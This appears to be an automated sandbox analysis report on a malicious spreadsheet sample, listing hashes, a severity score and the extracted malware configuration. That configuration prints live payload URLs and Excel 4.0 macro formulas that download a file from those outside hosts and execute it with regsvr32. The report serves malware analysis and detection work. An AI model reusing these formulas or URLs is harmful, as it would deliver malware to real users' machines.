General
-
Target
8e2918a75323179fbb7f8a0f2d095fab3cbe68b2a01bb3de01abbd926caa4d88
-
Size
46KB
-
Sample
241120-pq9gmswfre
-
MD5
1e64249d2ed28d481f6b21863714bbc0
-
SHA1
46327ff1e38f99163b0caaa338c220f7d51ef192
-
SHA256
8e2918a75323179fbb7f8a0f2d095fab3cbe68b2a01bb3de01abbd926caa4d88
-
SHA512
7ad6330683235d4869f4da20b50d921eb03cec1ed1da8d948e815f0769186be8ae008ba90af606b579e5beed3f06fdc8dc2d552fa9bf93ee6badba5bfa8f6ce8
-
SSDEEP
768:r1m2o0pOODOevZCwrvtTzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0Vf1V5f+:r1HoadD3tT5fTR4Lh1NisFYBc3cr+Uqu
Malware Config
Extracted
http://rosywhitecleaningsolution.com/wp-admin/PqMw6fND8Bb1I4VPR10/
http://havilaholuemglobal.com/dofz29/ymIfCcEL8I5kjA6E/
http://www.floresguitarinstruction.com/wp-admin/jWlCX/
http://www.drcc.co.za/restoredcontent/nAKvnbRpazx7c/
http://aopda.org/wp-content/uploads/RDL75PME7OKHk4f/
https://chera.co.kr/wp-includes/i2nnUkDXZ/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://rosywhitecleaningsolution.com/wp-admin/PqMw6fND8Bb1I4VPR10/","..\sei.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://havilaholuemglobal.com/dofz29/ymIfCcEL8I5kjA6E/","..\sei.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.floresguitarinstruction.com/wp-admin/jWlCX/","..\sei.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.drcc.co.za/restoredcontent/nAKvnbRpazx7c/","..\sei.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://aopda.org/wp-content/uploads/RDL75PME7OKHk4f/","..\sei.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://chera.co.kr/wp-includes/i2nnUkDXZ/","..\sei.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\sei.ocx") =RETURN()
Extracted
http://rosywhitecleaningsolution.com/wp-admin/PqMw6fND8Bb1I4VPR10/
http://havilaholuemglobal.com/dofz29/ymIfCcEL8I5kjA6E/
http://www.floresguitarinstruction.com/wp-admin/jWlCX/
http://www.drcc.co.za/restoredcontent/nAKvnbRpazx7c/
http://aopda.org/wp-content/uploads/RDL75PME7OKHk4f/
Targets
-
-
Target
8e2918a75323179fbb7f8a0f2d095fab3cbe68b2a01bb3de01abbd926caa4d88
-
Size
46KB
-
MD5
1e64249d2ed28d481f6b21863714bbc0
-
SHA1
46327ff1e38f99163b0caaa338c220f7d51ef192
-
SHA256
8e2918a75323179fbb7f8a0f2d095fab3cbe68b2a01bb3de01abbd926caa4d88
-
SHA512
7ad6330683235d4869f4da20b50d921eb03cec1ed1da8d948e815f0769186be8ae008ba90af606b579e5beed3f06fdc8dc2d552fa9bf93ee6badba5bfa8f6ce8
-
SSDEEP
768:r1m2o0pOODOevZCwrvtTzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0Vf1V5f+:r1HoadD3tT5fTR4Lh1NisFYBc3cr+Uqu
Score10/10-
Process spawned unexpected child process
This typically indicates the parent process was compromised via an exploit or macro.
-